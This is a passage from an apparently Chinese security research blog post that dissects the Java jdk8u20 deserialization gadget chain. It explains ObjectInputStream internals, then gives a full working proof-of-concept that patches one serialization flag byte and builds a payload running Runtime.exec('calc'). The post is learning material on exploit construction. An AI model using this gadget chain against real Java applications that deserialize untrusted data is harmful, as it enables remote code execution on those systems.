是为 false 的,也就是说一定在某个时刻将其赋值成了 true ,全局搜索将 defaultDataEnd 设为 true 的方法,可以发现在 defaultReadObject 方法中如果调用该方法的类不存在 writeObject 方法,则会将 defaultDataEnd 属性设为 true👇

image-20220217151527839

也就是说每次在 readObject 方法里如果有对 defaultReadObject 方法的调用,defaultDataEnd 属性就会被设为 true

接着对整个 反序列化 过程进行调试,在 ObjectInputStream 类的 readSerialData 方法中有对相应类 readObject 方法的调用👇

image-20220217151232227

而如果成功调用了 readObject 方法,即在没有报错的情况下会将 defaultDataEnd 设为 false ,那么只要保证如果进行 反序列化 会报错的类拥有 writeObject 方法就可以规避让 defaultDataEndtrue 的情况了。

但仅仅是让进行 反序列化 会报错的类直接加上 writeObject 方法依然是不可行的,因为从 slotDesc.invokeReadObject(obj, this) 这段代码可以看出,如果将 A 类和 B 类镶嵌序列化,在进行 反序列化 时所解析的内容是共用的。那么假设在 A 类的 readObject 方法里,对 B 类进行 readObject 时报错,但用 try 忽略了错误,而 B 类又有 writeObject 方法且有 writeObject 操作,那么在 A 类里的下一个 readObject 调用结果为 B 类从 writeObject 方法写入的内容👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import java.io.*;

class CC implements Serializable{
public String s = "c";
}
class BB implements Serializable {
public String s = "b";
private void writeObject(ObjectOutputStream o) throws IOException {
o.defaultWriteObject();
o.writeObject(new CC());
}
private void readObject(ObjectInputStream i) throws Exception {
i.defaultReadObject();
System.out.println("THROW");
throw new Exception("ERROR");
}
}
class AA implements Serializable{
public String s = "a";
private void writeObject(ObjectOutputStream o) throws IOException {
o.defaultWriteObject();
o.writeObject(new BB());
}
private void readObject(ObjectInputStream i) throws IOException, ClassNotFoundException {
i.defaultReadObject();

// 来自AA => writeObject(new BB())
try {
Object o1 = i.readObject();
}catch (Exception e){}

// 来自BB => writeObject(new CC())
Object o2 = i.readObject();

try{
CC o22 = (CC) o2;
System.out.println(o22.s);
}catch (Exception e){
e.printStackTrace();
}

}
}

public class TestClass2 {
public static void main(String[] args) throws IOException, ClassNotFoundException {

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(new AA());
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

执行结果👇

image-20220217154603133

可见在 AA 类中的第二个 readObject 拿到了 BB 类中 writeObject 的内容。

如果不在 BB 类的 writeObject 写入 CC 类,而是在 AA 类的 writeObject 中写入能否行得通呢,是不可以的👇

image-20220217155144037

如果跟进报错,可以看到是读取到了 TC_ENDBLOCKDATA 👇

image-20220217163738462

其实上述之所以拿到了 BB 类中 writeObject 的内容,是因为当 BB 类在调用自身的 readObject 方法时 throw 出错误且被 try 忽略了,此时 反序列化 读取的指针位置的下一部分是 BB 类的 writeObject 部分, AA 类再次调用 readObject 方法时,就会尝试读取 BB 类额外的 writeObject 部分,但此时 BB 类额外的 writeObject 部分为空(读到了 TC_ENDBLOCKDATA ),就报错了。

那么有没有办法让 AA 类在 反序列化 时即便 BB 类出错了,但又能拿到属于自己写入的 writeObject 内容呢,答案是有的。

不妨先来看重写 writeObject 和默认序列化的序列化内容👇

image-20220217164738739

可以看到除开类名称外的不同,重写 writeObject 的类在 serialVersionUID 后紧跟着的是 03 ,而默认序列化的类跟着的是 02 ,通过序列化常量的对比👇

image-20220217164851263

显然 03 的值为 SC_SERIALIZABLE | SC_WRITE_METHOD02 值为 SC_SERIALIZABLE 了。

同时重写 writeObject 的类比默认序列化的类多出一个 78 的字符,再查看序列化常量👇

image-20220217165133594

可见多出的 78竟是 TC_ENDBLOCKDATA ,那么罪魁祸首也就找到了。

如果将这个 78 字符去掉,当 BB 类在调用自身的 readObject 方法时 throw 出错误且被 try 忽略了, 反序列化 读取的指针位置的下一部分就不会是 TC_ENDBLOCKDATA ,而是接在后面的其他序列化内容了,最简单的方式比如直接将 SC_SERIALIZABLE 替换成 SC_SERIALIZABLE | SC_WRITE_METHOD 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import com.sun.org.apache.xerces.internal.impl.dv.util.HexBin;

import java.io.*;

class CC implements Serializable{
public String s = "c";
}
class BB implements Serializable {
private static final long serialVersionUID = 65536L;
public String s = "b";
private void readObject(ObjectInputStream i) throws Exception {
i.defaultReadObject();
System.out.println("THROW");
throw new Exception("ERROR");
}
}
class AA implements Serializable{
public String s = "a";
private void writeObject(ObjectOutputStream o) throws IOException {
o.defaultWriteObject();
o.writeObject(new BB());
o.writeObject(new CC());
}
private void readObject(ObjectInputStream i) throws IOException, ClassNotFoundException {
i.defaultReadObject();

// 来自AA => writeObject(new BB())
try {
Object o1 = i.readObject();
}catch (Exception e){}

// 来自AA => writeObject(new CC())
Object o2 = i.readObject();

try{
CC o22 = (CC) o2;
System.out.println(o22.s);
}catch (Exception e){
e.printStackTrace();
}

}
}

public class TestClass2 {
public static void main(String[] args) throws IOException, ClassNotFoundException {

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(new AA());
oos.close();

byte[] outBytes = HexBin.decode(HexBin.encode(barr.toByteArray()).replace("1000002", "1000003"));

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(outBytes));
ois.readObject();
}
}

执行结果👇

image-20220217165903033

此时成功地让 AA 类在 反序列化 时即便 BB 类出错了,但又能拿到属于自己写入的 writeObject 内容了。

那么再回过头来看 BeanContextSupport 类的 readChildren 方法👇

image-20220217171506583

如果让 serializable 属性的值为 2 ,然后构造好以下内容的 writeObject 👇

  • AnnotationInvocationHand类
  • HashSet类
    • HashSet.put([TemplatesImpl类()])
    • HashSet.put([AnnotationInvocationHand类()])

就可以先通过第一次循环将 AnnotationInvocationHand 类给 readObject ,并且忽略 throw 出的错误,再通过第二次循环调用 HashSet 类的 readObjectjdk7u21 链的 payload 了。

接着来看 AnnotationInvocationHand 类的 writeObject 方法👇

image-20220217172223715

如果 serializable > 0 && this.equals(getBeanContextPeer()) 成立则会调用 writeChildren 方法,其中 serializable 是可控且可序列化的👇

image-20220217172413869

再跟进 getBeanContextPeer 方法👇

image-20220217172522599

继续跟进 getBeanContextChildPeer 方法👇

image-20220217172547158

可以看到最终值来自 beanContextChildPeer 属性,而这个 beanContextChildPeer 属性为 BeanContextChildSupport 类自身👇

image-20220217172728170

并且 BeanContextSupport 类是继承了 BeanContextChildSupport 类的👇

image-20220217172834080

因此这个 this.equals(getBeanContextPeer()) 条件是必然成立的,跟进 writeChildren 方法👇

image-20220217173214858

可见是将自身的 children 属性遍历一遍,如果键名的值是可序列化的则将键名的值和对应的值通过 writeObject 写入序列化数据中,同时写入的数量必须和 serializable 属性的值相等,否则会出错。

此时通过这个 writeObject 的方式,可知如果想在进行 readObject 时让 AnnotationInvocationHand 类紧接着 HashSet 类,就得将 AnnotationInvocationHand 作为键名,而 HashSet 作为对应的值。

但又因为 serializable 属性在 反序列化 时的期望值为 2 ,而每个键值对只对应 1serializable 值,否则会 throw 出错误,对此有两种解决方案👇

  • try 忽略这个 throw 出的错误
  • 再向 children 属性加入一个键值对,并确保这个多加的键值对在 AnnotationInvocationHand => HashSet 键值对之后(或是再另生成第二个AnnotationInvocationHand => HashSet 键值对)

相比之下还是第一个方案较为简单些。

- payload -

按照上面的分析,理论上只需要改一个字节👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.HexBin;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class jdk8u20 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}

public static TemplatesImpl getTemplatesImpl(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();

CtClass[] cs = new CtClass[]{
pool.makeClass("a" + System.nanoTime()),
pool.makeClass("b" + System.nanoTime())
};

cs[0].makeClassInitializer().insertBefore(cmd);

byte[][] bc = new byte[][]{
cs[0].toBytecode(),
cs[1].toBytecode()
};

// 实例化templates并通过反射赋值
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", bc);
setFieldValue(templates, "_name", "dqv5");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_transletIndex", 0);

return templates;
}

public static void main(String[] args) throws Exception{

TemplatesImpl templates = getTemplatesImpl("java.lang.Runtime.getRuntime().exec(\"calc\").waitFor();");

Class anClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor anCon = anClass.getDeclaredConstructor(Class.class, Map.class);
anCon.setAccessible(true);

// key(任意长度0字节都可)
String key = new String(new char[]{0});

HashMap anMap = new HashMap();
anMap.put(key, "");

// 构造AnnotationInvocationHandler代理
InvocationHandler anIn = (InvocationHandler) anCon.newInstance(Templates.class, anMap);
Map proxy = (Map) Proxy.newProxyInstance(anClass.getClassLoader(), new Class[]{Map.class}, anIn);

// 包装(确保templates在proxy前面)
HashSet TriggerMap = new HashSet(1);
TriggerMap.add(templates);
TriggerMap.add(proxy);

// 构造BeanContextSupport
BeanContextSupport bean = new BeanContextSupport();

HashMap beanMap = new HashMap();
beanMap.put(anIn, TriggerMap);

setFieldValue(bean, "serializable", 2);
setFieldValue(bean, "children", beanMap);

// 避免本地执行
anMap.put(key, templates);

// 序列化处理
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);

// 规避 serializable != children.size 的 throw
try {
oos.writeObject(bean);
} catch (Exception e) {
}
oos.close();

// 替换 AnnotationInvocationHandler 的 SC_SERIALIZABLE -> SC_SERIALIZABLE | SC_WRITE_METHOD
// 其中 55CAF50F15CB7EA5 为 AnnotationInvocationHandler 的 serialVersionUID
byte[] outBytes = HexBin.decode(HexBin.encode(barr.toByteArray()).replace("55CAF50F15CB7EA502", "55CAF50F15CB7EA503"));

// 反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(outBytes));
ois.readObject();

}
}

执行结果👇

image-20220217175149441

是成功了。

- 总结 -

通过这几天的学习,发现在 java 中真是条条道路通罗马,每条链都有不少的其他衍生链可以借鉴(太卷了,555 )。无论如何,继续向前吧。


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。也欢迎您共享此博客,以便更多人可以参与。如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。谢谢 !